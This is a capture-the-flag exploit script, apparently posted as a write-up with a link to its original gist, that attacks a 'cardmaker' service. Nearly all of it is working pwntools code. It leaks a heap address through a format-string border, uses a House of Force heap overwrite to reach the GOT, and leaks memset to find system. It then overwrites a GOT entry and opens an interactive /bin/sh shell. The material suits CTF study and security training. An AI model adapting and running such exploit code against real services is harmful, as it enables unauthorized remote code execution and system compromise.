Rating:

#!/usr/bin/env python

import sys

from pwn import *

port = 8080

strtol_addr = 0x6030B0

def add_card(frum, to, ip, port, border, length, data):
r.sendline("1")
r.recvuntil("Who is this card from?\n")
r.sendline(frum)
r.recvuntil("Who is this card going to?\n")
r.sendline(to)
r.recvuntil("What address and port should I send this to? (ip:port)\n")
r.sendline("{}:{}".format(ip, port))
r.recvuntil("What border would you like around the card? (max of 2 chars)\n")
r.sendline(border)
r.recvuntil("How long is your message...?")
r.sendline(length)
r.recvuntil("What would you like your card to say? (end with 'done.' on its own line)\n")
r.sendline(data)
r.sendline("done.")
r.recv()

def delete_card(index):
r.sendline("4")
r.recvuntil("Which card do you want to delete: ")
r.sendline(str(index))

def send_recv_card():
lr = listen(port=port, bindaddr=host)
r.sendline("5")
recvd = lr.readuntil("Cardmaker")
lr.close()
return recvd

def list_card_contents(num):
r.sendline("2")
r.recvuntil("Which card do you want to print the fields of: ")
r.sendline(str(num))
r.recvuntil("Contents: ")
return r.recv()

def exploit():
# Leak out addresses
# -- rsi, rdx, rdx, r8, r9, [rsp ...]
add_card("me", "you", host, port, "%X", "6", "hello")
recvd = send_recv_card()
# Parse out heap address from r9
# -- Luckily rsi, rdx, rdx, r8 are always 1, 1, 3, 1 bytes longs
heap = int(recvd[recvd.index('\n')+7:recvd.index('400')], 16) & 0xFFFFF000
log.info("Got heap address 0x{:X}".format(heap))

# Overwrite the wilderness with -1
add_card("me", "you", host, port, "xx", " -10", p64(0)*3 + p64(2**64-1) + p64(0)*2)

# Move the wilderness on top of the GOT
# -- size = target - wilderness address - 16
target = strtol_addr
wild = heap + 0x98
size = target - wild - 16 - 0x28 - 0x30

add_card("me", "you", host, port, "xx", " {}".format(size), "")

# Leak out the original value of this GOT entry
# This'll overwrite the GOT will corrupt it! So we make sure it's one we don't need anymore (setbuf)
# -- First a dummy alloc that takes one out of a bin
add_card("me", "you", host, port, "xx", "0", "")
# Now this one will point to dup2
# Now this one will point to memset
add_card("me", "you", host, port, "xx", "0", "")
contents = list_card_contents(5)
memset_addr = u64(contents[:6] + "\x00\x00")
#dup2_addr = u64(contents[:6] + "\x00\x00")
#log.info("Found dup2 at 0x{:x}".format(dup2_addr))
log.info("Found memset at 0x{:x}".format(memset_addr))
#system_addr = dup2_addr + 0xa5900
system_addr = memset_addr - 0x45f20
log.info("System should be at 0x{:x}".format(system_addr))

# Now next alloc will land on close
delete_card(3)
add_card("me", "you", host, port, "xx", "50", p64(system_addr))

r.sendline("/bin/sh")
r.interactive()

if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
host = "aws ip"
exploit()
else:
r = process(['./cardmaker'], env={"LD_PRELOAD":"libc-2.23.so"})
print util.proc.pidof(r)
host = "0"
pause()
exploit()

Original writeup (https://gist.github.com/Grazfather/41cdebfe6f952389773daaba92039c19).